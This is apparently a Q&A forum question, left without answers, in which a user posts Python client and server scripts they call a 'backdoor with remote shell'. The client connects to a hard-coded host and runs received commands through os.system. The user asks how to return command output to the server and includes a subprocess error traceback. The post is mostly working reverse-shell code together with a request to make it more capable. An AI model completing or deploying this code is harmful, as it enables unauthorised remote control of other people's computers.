0

I'm running Python 3.9.0 and Windows 10. I have made a simple backdoor with remote shell to present my friends why hackers is dangerous. Its working properly but problem is i don't see output from client. Example:

Server:
Me> echo lol
Client:
lol

I want it to send output to me. I tried this:

messgae = os.system(message)
    soc.send(message.encode())

But it didn't work. How i can do it?

Code: Client.py:

import time, socket, sys, os
print('Client Server...')
time.sleep(1)
#Get the hostname, IP Address from socket and set Port
soc = socket.socket()
shost = socket.gethostname()
ip = socket.gethostbyname(shost)
#get information to connect with the server
print(shost, '({})'.format(ip))
server_host = '192.168.56.1'
name = input('Enter Client\'s name: ')
port = 1234
print('Trying to connect to the server: {}, ({})'.format(server_host, port))
time.sleep(1)
soc.connect((server_host, port))
print("Connected...\n")
soc.send(name.encode())
server_name = soc.recv(1024)
server_name = server_name.decode()
print('{} has joined...'.format(server_name))
print('Enter [bye] to exit.')
while True:
    message = soc.recv(1024)
    message = message.decode()
    messgae = os.system(message)
    soc.send(message.encode())

Server.py:

import time, socket, sys
print('Setup Server...')
time.sleep(1)
#Get the hostname, IP Address from socket and set Port
soc = socket.socket()
host_name = socket.gethostname()
ip = socket.gethostbyname(host_name)
port = 1234
soc.bind((host_name, port))
print(host_name, '({})'.format(ip))
name = input('Enter name: ')
soc.listen(1) #Try to locate using socket
print('Waiting for incoming connections...')
connection, addr = soc.accept()
print("Received connection from ", addr[0], "(", addr[1], ")\n")
print('Connection Established. Connected From: {}, ({})'.format(addr[0], addr[0]))
#get a connection from client side
client_name = connection.recv(1024)
client_name = client_name.decode()
print(client_name + ' has connected.')
print('Press [bye] to leave the chat room')
connection.send(name.encode())
while True:
    message = input('Me > ')
    if message == '[bye]':
        message = 'Good Night...'
        connection.send(message.encode())
        print("\n")
        break
    connection.send(message.encode())
    message = connection.recv(1024)
    message = message.decode()
    print(client_name, '>', message)


EDIT: Also it's edited python chat.

EDIT 2:

I replaced os.system(message) with message.split() message = subprocess.run(message, capture_output=True) but i get this error:

Traceback (most recent call last):
  File "C:\Users\gusta\OneDrive\Desktop\chatclient.py", line 26, in <module>
    messgae = subprocess.run(message, capture_output=True)
  File "C:\Python39\lib\subprocess.py", line 501, in run
    with Popen(*popenargs, **kwargs) as process:
  File "C:\Python39\lib\subprocess.py", line 947, in __init__
    self._execute_child(args, executable, preexec_fn, close_fds,
  File "C:\Python39\lib\subprocess.py", line 1416, in _execute_child
    hp, ht, pid, tid = _winapi.CreateProcess(executable, args,
FileNotFoundError: [WinError 2] The system cannot find the file specified

What is incorrect?

CALISVALIS1010
  • 157
  • 1
  • 1
  • 7

0 Answers0